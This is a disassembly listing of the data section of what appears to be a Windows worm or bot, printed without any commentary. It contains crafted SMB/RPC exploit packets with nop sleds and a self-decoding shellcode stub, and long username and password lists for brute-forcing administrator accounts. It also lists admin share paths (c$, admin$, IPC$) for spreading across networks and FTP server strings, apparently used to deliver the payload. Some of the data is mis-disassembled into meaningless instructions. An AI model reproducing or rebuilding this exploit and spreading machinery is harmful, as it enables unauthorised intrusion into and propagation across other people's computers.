; DATA XREF: sub_410B52+216o dd 3900800h, 3C1D0800h, 1C000010h, 0E0040003h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A03h, 2600h, 5C032340h, 45504950h, 5005Ch dd 100300h, 31C0000h, 0 dd 3040000h, 0 dd 4221001Fh, 184E8h, 0 dd 10000h, 0 dd 1630000h, 0 dd 1630000h, 0 dword_41B338 dd 0 ; DATA XREF: sub_410B52+2C7o dd 0D7h, 1, 0 dd 1, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- align 4 dd 2 dup(0) dword_41B35C dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+348o dd 1C80800h, 7CC90800h, 80000010h, 0E0040004h, 0FFh, 2 dup(0) dd 80004A00h, 2004A04h, 2600h, 5C048740h, 45504950h, 5005Ch dd 100300h, 4800000h, 0 dd 4680000h, 0 dd 72B3001Fh, 1A381h, 0 dd 10000h, 0 dd 2150000h, 0 dd 2150000h, 0 dword_41B3E4 dd 0 ; DATA XREF: sub_410B52+3DEo dd 85h, 2, 0 dd 2, 2EBh, 85h, 2 dup(0) dword_41B408 dd 20804h, 0 ; DATA XREF: sub_410B52+285o ; sub_410B52+29Bo ... dword_41B410 dd 2080Ah, 0 ; DATA XREF: sub_410B52+26Fo dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_1: unicode 0, <Windows 2000 2195>,0 aWindows20005_2: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0 dd 3F3F0000h, 3F3F3Fh, 0 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0 dd 2019Fh, 4 dup(0) dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 500800h, 48000010h, 0 dd 10h, 2 dup(0) dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h dd 0 dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 align 10h jmp short loc_41B84A ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B852 ; --------------------------------------------------------------------------- loc_41B84A: ; CODE XREF: .data:0041B840j nop nop db 67h adc eax, 8EB767Ah loc_41B852: ; CODE XREF: .data:0041B848j nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 9090767Ah nop nop nop nop nop jmp short loc_41B8A1 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B8A1: ; CODE XREF: .data:0041B897j nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0) dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h dd 11h, 0 dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh dd 2 dup(300030h), 0 dd 0FFFFh, 7E0h, 2 dup(0) dd 7C0h, 0 db 8 dup(90h) ; --------------------------------------------------------------------------- jmp short loc_41B97E ; --------------------------------------------------------------------------- align 4 dd 767A1567h ; --------------------------------------------------------------------------- jmp short loc_41B986 ; --------------------------------------------------------------------------- loc_41B97E: ; CODE XREF: .data:0041B974j nop nop db 67h adc eax, 8EB767Ah loc_41B986: ; CODE XREF: .data:0041B97Cj nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop db 67h adc eax, 8EB767Ah nop nop jns short near ptr word_41B9F6 add [ecx], eax jmp short loc_41B9C6 ; --------------------------------------------------------------------------- align 10h dd 767A1567h db 2 dup(90h) ; --------------------------------------------------------------------------- loc_41B9C6: ; CODE XREF: .data:0041B9BCj nop nop nop nop nop jmp short loc_41B9D5 ; --------------------------------------------------------------------------- db 2 dup(90h) db 48h dd 9088444Fh db 90h ; --------------------------------------------------------------------------- loc_41B9D5: ; CODE XREF: .data:0041B9CBj nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- dd 0 dd 7E0h, 4, 0 db 2 dup(0) word_41B9F6 dw 0 ; CODE XREF: .data:0041B9B8j dd 0D0EC8166h, 7, 129F74h, 0 dd 127D78h, 0 ; --------------------------------------------------------------------------- pusha jmp short loc_41BA16 ; =============== S U B R O U T I N E ======================================= sub_41BA13 proc near ; CODE XREF: .data:loc_41BA16p pop ebx push ebx retn sub_41BA13 endp ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: .data:0041BA11j call sub_41BA13 xor eax, eax add al, 34h add eax, ebx push eax pop ebx loc_41BA23: ; CODE XREF: .data:0041BA4Cj xor edx, edx add dl, [eax] inc eax add dh, [eax] inc eax push eax xor eax, eax add al, 41h sub dl, al sub dh, al shl dl, 4 shr dx, 4 xor eax, eax xor dh, dh add al, [ebx] sub [ebx], al add [ebx], dx inc ebx pop eax xor ecx, ecx add cl, [eax] loopne loc_41BA23 popa add [ebx+31h], al mov ebp, 7FC77h add [ecx], al inc ebx loc_41BA5A: ; CODE XREF: .data:0041BA5Cj xor eax, eax ja short loc_41BA5A pop es ; --------------------------------------------------------------------------- db 0 dd 4F020100h, 7E7655Bh, 0 dd 195h, 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 byte_41BB00 db 90h ; DATA XREF: sub_410F60+35r ; sub_410F60+73r ... dword_41BB01 dd 0 ; DATA XREF: sub_410F60+A3r db 9Eh, 2 dup(0) dd 0F50000h, 0F8000000h, 0 dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h dd 1400000h, 41000000h, 4, 842h, 24300h, 40450000h, 46000000h dd 10h, 2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h dd 9, 393h, 419500h, 11960000h, 97000000h, 21h, 999h, 0 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOemuser ; "oemuser" dd offset aWwwadmin ; "wwwadmin" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-7FFFBE3Dh], cl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [ebx+eax*8+41h], ah add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [ebx+eax*8+41h], dl add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dd offset aC ; "c$" dd offset aD ; "d$" ; --------------------------------------------------------------------------- fadd st(2), st inc ecx add al, dl retn 41h ; --------------------------------------------------------------------------- dd offset aDShared ; "d$\\shared" ; --------------------------------------------------------------------------- mov eax, 0AC0041C2h retn 41h ; --------------------------------------------------------------------------- mov al, ds:8C0041C2h retn 41h ; --------------------------------------------------------------------------- dd offset aCWindowsSystem ; "c$\\windows\\system32" ; --------------------------------------------------------------------------- push 600041C2h retn 41h ; --------------------------------------------------------------------------- xor dl, al inc ecx add [eax], ch retn 41h ; --------------------------------------------------------------------------- dd offset aIpc ; "IPC$" dd 0 dd offset byte_41DE00 dd offset aAdministrator ; "administrator" dd offset aAdministrador ; "administrador" ; --------------------------------------------------------------------------- aam 0C4h inc ecx add al, cl les eax, [ecx+0] rol ah, 41h add [eax-4BFFBE3Ch], bh les eax, [ecx+0] sbb al, 0C2h inc ecx add [eax], bl retn 41h ; --------------------------------------------------------------------------- adc al, 0C2h inc ecx add [eax], cl retn 41h ; --------------------------------------------------------------------------- cld rol dword ptr [ecx+0], 0F4h rol dword ptr [ecx+0], 0F0h rol dword ptr [ecx+0], 0E4h rol dword ptr [ecx+0], 0DCh rol dword ptr [ecx+0], 0D8h rol dword ptr [ecx+0], 0D4h rol dword ptr [ecx+0], 0D0h rol dword ptr [ecx+0], 0CCh rol dword ptr [ecx+0], 0C8h rol dword ptr [ecx+0], 0C0h rol dword ptr [ecx+0], 0B8h rol dword ptr [ecx+0], 0B0h rol dword ptr [ecx+0], 0A8h rol dword ptr [ecx+0], 9Ch rol dword ptr [ecx+0], 90h rol dword ptr [ecx+0], 84h rol dword ptr [ecx+0], 7Ch rol dword ptr [ecx+0], 70h rol dword ptr [ecx+0], 68h rol dword ptr [ecx+0], 60h rol dword ptr [ecx+0], 50h xchg eax, edx inc ecx add [eax-3Fh], bl inc ecx add [eax+44004198h], dl xchg eax, edx inc ecx add [eax-3Fh], dl inc ecx add [eax-3Fh], cl inc ecx add [eax-3Fh], al inc ecx add al, dl retn ; --------------------------------------------------------------------------- inc ecx add al, cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aDemo ; "demo" dd offset aComputer ; "computer" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_0 ; "server" dd offset aRoot ; "root" dd offset aNull ; "null" dd offset aTemp ; "temp" dd offset aTemp123 ; "temp123" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aSex ; "sex" dd offset aLetmein ; "letmein" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWwwadmin ; "wwwadmin" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" ; --------------------------------------------------------------------------- clc retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- adc ah, al inc ecx add al, dh retn ; --------------------------------------------------------------------------- inc ecx add ah, ch retn ; --------------------------------------------------------------------------- inc ecx add ah, ah retn ; --------------------------------------------------------------------------- inc ecx add al, ah retn ; --------------------------------------------------------------------------- inc ecx add al, bl retn ; --------------------------------------------------------------------------- inc ecx add al, al retn ; --------------------------------------------------------------------------- inc ecx add [eax-4FFFBE3Dh], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax-3Ch], al inc ecx add [eax-5FFFBE3Dh], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], bh inc ecx add [eax+eax*8+41h], ch add [ebx+eax*8-3C73FFBFh], dl inc ecx add [eax-40h], ah inc ecx add [eax-40h], bl inc ecx add [eax-40h], dl inc ecx add [eax-40h], cl inc ecx add al, dh rol byte ptr [ecx+0], 88h retn ; --------------------------------------------------------------------------- inc ecx add [eax-40h], al inc ecx add [eax], bh rol byte ptr [ecx+0], 30h rol byte ptr [ecx+0], 28h rol byte ptr [ecx+0], 80h retn ; --------------------------------------------------------------------------- inc ecx add [eax+eax*8], bl inc ecx add [eax+eax*8], cl inc ecx add [ebx+eax*8+41h], dh add [ebx+eax*8+41h], ch add [eax+eax*8], al inc ecx add al, bh mov edi, 0BFE80041h inc ecx add [ebx+eax*8+41h], ah add ah, dl mov edi, 0BFD00041h inc ecx add ah, cl mov edi, 0BFC40041h inc ecx add [eax-3Dh], ah inc ecx add [ebx+eax*8+41h], bl add [eax-5BFFBE41h], dh mov edi, 0C3540041h inc ecx add [eax-3Dh], dl inc ecx add [eax-3Dh], cl inc ecx add [eax-3Dh], al inc ecx add [eax], bh retn ; --------------------------------------------------------------------------- inc ecx add [eax], dh retn ; --------------------------------------------------------------------------- inc ecx add [eax-67FFBE41h], ah mov edi, 0BF940041h inc ecx add [eax], ch retn ; --------------------------------------------------------------------------- inc ecx add [eax], ah retn ; --------------------------------------------------------------------------- inc ecx add [edi+edi*4-407BFFBFh], cl inc ecx add [eax], bl retn ; --------------------------------------------------------------------------- inc ecx add [ebx+eax*8], dl inc ecx add [esp+eax*8+41h], dh add [eax], cl retn ; --------------------------------------------------------------------------- dw 41h dd offset aStudent ; "student" ; --------------------------------------------------------------------------- clc retn 41h ; --------------------------------------------------------------------------- dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 aWinpass db 'winpass',0 aBlank db 'blank',0 align 4 aXp_0 db 'xp',0 align 4 aNokia db 'nokia',0 align 10h aHp db 'hp',0 align 4 aOrainstall db 'orainstall',0 align 10h aSqlpassoainsta db 'sqlpassoainstall',0 align 4 aDb1234 db 'db1234',0 align 4 aDb2 db 'db2',0 aDb1 db 'db1',0 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDbpassword db 'dbpassword',0 align 4 aDbpass db 'dbpass',0 align 4 aDomainpassword db 'domainpassword',0 align 4 aDomainpass db 'domainpass',0 align 4 aHello db 'hello',0 align 10h aHell db 'hell',0 align 4 aLove db 'love',0 align 10h aMoney db 'money',0 align 4 aSlut db 'slut',0 align 10h aBitch db 'bitch',0 align 4 aFuck db 'fuck',0 align 10h aExchange db 'exchange',0 align 4 aLoginpass db 'loginpass',0 align 4 aLogin db 'login',0 align 10h aQwe db 'qwe',0 ; DATA XREF: .data:0041BE4Co aZxc db 'zxc',0 ; DATA XREF: .data:0041BE48o aAsd db 'asd',0 ; DATA XREF: .data:0041BE44o aQaz db 'qaz',0 ; DATA XREF: .data:0041BE40o aWin2000 db 'win2000',0 ; DATA XREF: .data:0041BE3Co aWinnt db 'winnt',0 ; DATA XREF: .data:0041BE38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .data:0041BE34o align 4 aWin2k db 'win2k',0 ; DATA XREF: .data:0041BE30o align 10h aWin98 db 'win98',0 ; DATA XREF: .data:0041BE2Co align 4 aWindows db 'windows',0 ; DATA XREF: .data:0041BE28o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0041BE20o align 4 aOem db 'oem',0 ; DATA XREF: .data:0041BE18o aAccounting db 'accounting',0 ; DATA XREF: .data:0041BE08o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0041BE04o align 4 aLetmein db 'letmein',0 ; DATA XREF: .data:0041BE00o aSex db 'sex',0 ; DATA XREF: .data:0041BDFCo aOutlook db 'outlook',0 ; DATA XREF: .data:0041BDECo aMail db 'mail',0 ; DATA XREF: .data:0041BDE8o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0041BDE4o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .data:0041BDE0o aTemp db 'temp',0 ; DATA XREF: .data:0041BDDCo align 4 aNull db 'null',0 ; DATA XREF: .data:0041BDD8o align 4 aDefault db 'default',0 ; DATA XREF: .data:0041BDC8o aChangeme db 'changeme',0 ; DATA XREF: .data:0041BDC4o align 4 aDemo db 'demo',0 ; DATA XREF: .data:0041BDB4o align 10h aTest db 'test',0 align 4 a2005 db '2005',0 align 10h a2004 db '2004',0 align 4 a2001 db '2001',0 align 10h aSecret db 'secret',0 align 4 aPayday db 'payday',0 align 10h aDeadline db 'deadline',0 align 4 aWork db 'work',0 align 4 a1234567890 db '1234567890',0 align 10h a123456789 db '123456789',0 align 4 a12345678 db '12345678',0 align 4 a1234567 db '1234567',0 a123456 db '123456',0 align 4 a12345 db '12345',0 align 10h a1234 db '1234',0 align 4 a123 db '123',0 a12 db '12',0 align 10h a1: unicode 0, <1>,0 a007 db '007',0 aPwd db 'pwd',0 aPass db 'pass',0 align 4 aPass1234 db 'pass1234',0 align 10h aDba db 'dba',0 aPasswd db 'passwd',0 align 4 aPassword db 'password',0 ; DATA XREF: .data:0041D768o align 4 aPassword1 db 'password1',0 align 4 aAbc db 'abc',0 aAb db 'ab',0 align 4 aA_0: unicode 0, <a>,0 aIpc db 'IPC$',0 ; DATA XREF: .data:0041BD04o align 4 aPrint db 'print$',0 align 10h aCDocumentsAndS db 'C$\Documents and Settings\All Users\Documents\$',0 aAdmin_0 db 'admin$',0 align 4 aAdminSystem32 db 'Admin$\system32',0 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o aCWinntSystem32 db 'c$\winnt\system32',0 align 10h aCWindows db 'c$\windows',0 align 4 aCWinnt db 'c$\winnt',0 align 4 aEShared db 'e$\shared',0 align 4 aDShared db 'd$\shared',0 ; DATA XREF: .data:0041BCDCo align 10h aCShared db 'c$\shared',0 align 4 aE db 'e$',0 align 10h aD db 'd$',0 ; DATA XREF: .data:0041BCD0o align 4 aC db 'c$',0 ; DATA XREF: .data:0041BCCCo align 4 aStaff db 'staff',0 ; DATA XREF: .data:0041BCC4o ; .data:0041BF7Co align 10h aTeacher db 'teacher',0 ; DATA XREF: .data:0041BCC0o ; .data:0041BF78o aOwner db 'owner',0 align 10h aStudent db 'student',0 ; DATA XREF: .data:0041BCB8o ; .data:0041BF70o aIntranet db 'intranet',0 align 4 aLan_0 db 'lan',0 aMain db 'main',0 ; DATA XREF: .data:00416ACAo ; .data:00416AECo align 10h aOffice db 'office',0 align 4 aControl db 'control',0 aSiemens db 'siemens',0 aCompaq db 'compaq',0 align 10h aDell db 'dell',0 align 4 aCisco db 'cisco',0 align 10h aIbm db 'ibm',0 aOracle db 'oracle',0 align 4 aSql db 'sql',0 aSa db 'sa',0 align 4 aData db 'data',0 align 4 aAccess db 'access',0 align 4 aDatabase db 'database',0 align 10h aDomain db 'domain',0 align 4 aGod db 'god',0 aBackup db 'backup',0 align 4 aTechnical db 'technical',0 align 10h aMary db 'mary',0 align 4 aKatie db 'katie',0 align 10h aKate db 'kate',0 align 4 aGeorge db 'george',0 align 10h aEric db 'eric',0 align 4 aNone db 'none',0 align 10h aGuest db 'guest',0 align 4 aChris db 'chris',0 align 10h aIan db 'ian',0 aNeil db 'neil',0 align 4 aLee db 'lee',0 aBrian db 'brian',0 align 4 aSusan db 'susan',0 align 10h aSue db 'sue',0 ; DATA XREF: .data:0041BC24o ; .data:0041BE78o aSam db 'sam',0 ; DATA XREF: .data:0041BC20o ; .data:0041BE74o aLuke db 'luke',0 ; DATA XREF: .data:0041BC1Co ; .data:0041BE70o align 10h aPeter db 'peter',0 ; DATA XREF: .data:0041BC18o ; .data:0041BE6Co align 4 aJohn db 'john',0 ; DATA XREF: .data:0041BC14o ; .data:0041BE68o align 10h aMike db 'mike',0 ; DATA XREF: .data:0041BC10o ; .data:0041BE64o align 4 aBill db 'bill',0 ; DATA XREF: .data:0041BC0Co ; .data:0041BE60o align 10h aFred db 'fred',0 ; DATA XREF: .data:0041BC08o ; .data:0041BE5Co align 4 aJoe db 'joe',0 ; DATA XREF: .data:0041BC04o ; .data:0041BE58o aJen db 'jen',0 ; DATA XREF: .data:0041BC00o ; .data:0041BE54o aBob db 'bob',0 ; DATA XREF: .data:0041BBFCo ; .data:0041BE50o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0041BBF8o ; .data:0041BE24o align 10h aOemuser db 'oemuser',0 ; DATA XREF: .data:0041BBF4o ; .data:0041BE1Co aUser db 'user',0 ; DATA XREF: .data:0041BBF0o ; .data:0041BE14o align 10h aHomeuser db 'homeuser',0 ; DATA XREF: .data:0041BBECo ; .data:0041BE10o align 4 aHome db 'home',0 ; DATA XREF: .data:0041BBE8o ; .data:0041BE0Co align 4 aInternet db 'internet',0 ; DATA XREF: .data:0041BBE4o ; .data:0041BDF8o align 10h aWww db 'www',0 ; DATA XREF: .data:0041BBE0o ; .data:0041BDF4o aWeb db 'web',0 ; DATA XREF: .data:0041BBDCo ; .data:0041BDF0o aRoot db 'root',0 ; DATA XREF: .data:0041BBD8o ; .data:0041BDD4o align 10h aServer_0 db 'server',0 ; DATA XREF: .data:0041BBD4o ; .data:0041BDD0o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0041BBCCo ; .data:0041BDC0o align 10h aUnix db 'unix',0 ; DATA XREF: .data:0041BBC8o ; .data:0041BDBCo align 4 aComputer db 'computer',0 ; DATA XREF: .data:0041BBC4o ; .data:0041BDB8o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0041BBC0o aAdmin db 'admin',0 ; DATA XREF: .data:0041BBBCo align 10h aAdmins db 'admins',0 ; DATA XREF: .data:0041BBB8o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0041BBB4o aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0041BBB0o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0041BBACo ; .data:0041BD14o align 4 aAdministrator db 'administrator',0 ; DATA XREF: .data:0041BBA8o ; .data:0041BD10o align 4 a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B:loc_4119BAo a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+843o dword_41C514 dd 1471A0h ; DATA XREF: sub_41113B+834r align 10h unk_41C520 db 2Dh ; - ; DATA XREF: sub_41113B+80Do db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TransferToSC db '- %u. Transfer to %s complete.',0 aFtp_0 db 'ftp',0 ; DATA XREF: sub_41113B+808o dword_41C54C dd 16BF48h ; DATA XREF: sub_41113B+73Er dd 2 dup(0) dword_41C558 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_41113B+6F7o ; sub_41113B+7AAo aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0 align 4 a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_41113B+5C7o ; sub_41113B+751o dword_41C5DC dd 1192A0h ; DATA XREF: sub_41113B+5B4r dd 2 dup(0) dword_41C5E8 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_41113B+56Do dword_41C5F4 dd 9AAA8h ; DATA XREF: sub_41113B+4EDr align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o align 4 dword_41C614 dd 10E3A0h ; DATA XREF: sub_41113B+3EAr align 10h dword_41C620 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_41113B+3A3o dword_41C628 dd 123230h ; DATA XREF: sub_41113B+394r dd 2 dup(0) dword_41C634 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_41113B+34Do ; sub_41113B+4A6o dword_41C63C dd 949E8h ; DATA XREF: sub_41113B+33Er dd 2 dup(0) dword_41C648 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_41113B+2F7o dword_41C654 dd 238A0h ; DATA XREF: sub_41113B+2E8r dd 0 dword_41C65C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_41113B+2A1o dword_41C664 dd 0B3160h ; DATA XREF: sub_41113B+292r align 10h dword_41C670 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_41113B+24Bo dword_41C678 dd 9B2A0h ; DATA XREF: sub_41113B+23Cr dd 2 dup(0) dword_41C684 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_41113B+1E1o dword_41C68C dd 1230E8h ; DATA XREF: sub_41113B+1C8r dd 2 dup(0) dword_41C698 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_41113B+181o dword_41C6A0 dd 128588h ; DATA XREF: sub_41113B+16Br dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: sub_41113B+E9o ; sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: 